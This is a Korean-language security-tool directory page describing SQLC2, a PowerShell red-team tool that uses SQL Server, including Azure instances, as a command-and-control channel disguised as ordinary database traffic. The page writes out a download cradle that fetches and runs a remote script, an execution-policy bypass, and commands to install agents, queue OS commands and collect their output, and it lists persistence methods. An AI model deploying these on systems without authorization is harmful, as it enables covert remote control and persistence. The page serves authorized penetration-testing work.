Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
SQLC2 — SQLC2는 SQL Server를 제어 서버와 에이전트로 모두 사용하는 커맨드 앤 컨트롤 시스템을 배포하고 관리하기 위한 PowerShell 스크립트입니다. | Kitploit
도구/GitHubGitHub/netspi/sqlc2
Persistence MechanismsPenetration TestingCloud SecurityCommand and ControlRed TeamingDatabase Security
GitHubnetspi/sqlc2

SQLC2

SQLC2는 SQL Server를 제어 서버와 에이전트로 모두 사용하는 커맨드 앤 컨트롤 시스템을 배포하고 관리하기 위한 PowerShell 스크립트입니다.

저장소 보기
75213년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SQLC2

SQLC2는 SQL Server를 제어 서버와 에이전트로 동시에 사용하는 명령 및 제어 시스템을 배포하고 관리하기 위한 PowerShell 스크립트입니다. 핵심적으로 SQLC2는 단순한 PowerShell 스크립트, TSQL 스크립트, 그리고 에이전트·명령·결과를 추적하는 SQL Server 인스턴스 내 몇 개의 테이블로 구성됩니다. 특별히 화려한 것은 아니지만 일부 엔게이지먼트에서는 유용하게 쓰일 수 있습니다.

SQLC2에 대한 보다 자세한 개요는 https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/ 블로그에서 확인하세요.

작성자 및 라이선스

  • 작성자: Scott Sutherland (@_nullbind), NetSPI - 2018
  • 라이선스: BSD 3-Clause
  • 요구 종속성: 없음

왜 SQL Server 기반 C2인가?

점점 더 많은 기업에서 Azure SQL Server 데이터베이스를 사용하기 시작하고 있습니다. 이러한 Azure SQL Server 인스턴스가 생성되면 database.windows.net의 하위 도메인과 포트 1433을 통해 접근할 수 있게 됩니다. 예를 들어, "mysupersqlserver.database.windows.net"이라는 이름의 SQL Server 인스턴스를 만들 수 있습니다. 그 결과 일부 기업 네트워크 구성에서는 포트 1433의 모든 "database.windows.net" 하위 도메인에 대한 아웃바운드 인터넷 접근을 허용합니다.

일반적인 아이디어는 Azure SQL Server 도입이 늘어남에 따라 SQL Server를 평범한 트래픽처럼 보이는 제어 채널로 사용할 기회가 더 많아진다는 것입니다. SQLPS는 아주 기초적인 개념 증명에 불과하지만, 이 아이디어를 설명하기에는 충분히 기능적이라고 생각합니다. 개선할 점이 꽤 많다는 것을 알고 있지만, 직접 사용해 보신다면 피드백을 주시면 감사하겠습니다.

Azure 전용이 아님

SQLC2를 Azure SQL Server 인스턴스와 함께 사용하는 데 중점을 두고 있지만, SQL Server를 모든 클라우드 환경에 직접 호스팅하고 SSL을 활성화한 상태로 포트 443에서 수신하도록 할 수도 있습니다. 따라서 얼마나 많은 노력을 기울이느냐에 따라 조금 더 유연하게 사용할 수 있습니다.

SQLC2 로드하기

  • 옵션 1: 스크립트를 다운로드하여 가져옵니다. 관리자 권한이 필요하지 않으며 현재 세션에만 가져와집니다. 그러나 제한적인 실행 정책에 의해 차단될 수 있으므로 bypass 옵션을 사용하는 것이 좋습니다.

    Set-ExecutionPolicy Bypass -Scope Process

    Import-Module SQLC2.ps1

  • 옵션 2: 다운로드 크래들을 통해 세션에 로드합니다. 관리자 권한이 필요하지 않으며 현재 세션에만 가져와집니다. 실행 정책에 의해 차단되지 않아야 합니다.

    IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")

    참고: 다른 도메인 사용자로 실행하려면 먼저 runas 명령을 사용하여 PowerShell을 시작하세요.

    runas /noprofile /netonly /user:domain\user PowerShell.exe

기본 SQLC2 아키텍처 다이어그램

SQLC2Arch

사용자 함수

아래는 의도된 워크플로를 지원하는 사용자 함수 목록입니다.

스크린샷

아래는 몇 가지 예시 스크린샷입니다.

SQLC2 서버 설치(테이블 생성):

Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Install C2

SQLC2 에이전트 설치(서버 링크를 사용하는 SQL Server 에이전트 작업):

Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Install Agent

SQLC2 에이전트 보기:

Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2Arch

에이전트에서 실행할 명령 설정:

Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Set_Command

명령 결과 가져오기:

Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Get Command Output

도구 다운로드
함수 이름설명
Install-SQLC2Server대상 SQL Server/데이터베이스에 SQLC2 테이블을 설치합니다.
Install-SQLC2AgentPsSQL Server 에이전트 작업과 서버 링크를 사용하는 에이전트를 설치합니다.
Install-SQLC2AgentLink예약된 작업 또는 레지스트리 키를 사용하여 PowerShell 명령을 실행하는 에이전트를 설치합니다.
Set-SQLC2Command에이전트가 실행할 운영 체제 명령을 설정합니다.
Get-SQLC2CommandC2에서 에이전트가 실행할 보류 중인 운영 체제 명령 목록을 가져옵니다. -Execute 플래그를 사용하면 보류 중인 명령을 실행할 수도 있습니다.
Get-SQLC2AgentSQLC2 서버에 등록된 에이전트 목록을 가져옵니다.
Get-SQLC2Result보류 중 및 완료된 명령 목록을 가져옵니다. servername, status, cid 필터를 지원합니다.
Remove-SQLC2AgentSQLC2에 등록된 에이전트를 제거합니다. 단순히 기록을 지웁니다.
Remove-SQLC2CommandSQLC2 서버의 명령 기록을 제거합니다.
Uninstall-SQLC2AgentLink서버 링크와 에이전트 작업을 사용하는 SQLC2 에이전트를 제거합니다.
Uninstall-SQLC2AgentPs운영 체제 기반 영속성 방법을 모두 제거합니다.
Uninstall-SQLC2Server대상 데이터베이스에서 SQLC2 테이블을 제거합니다.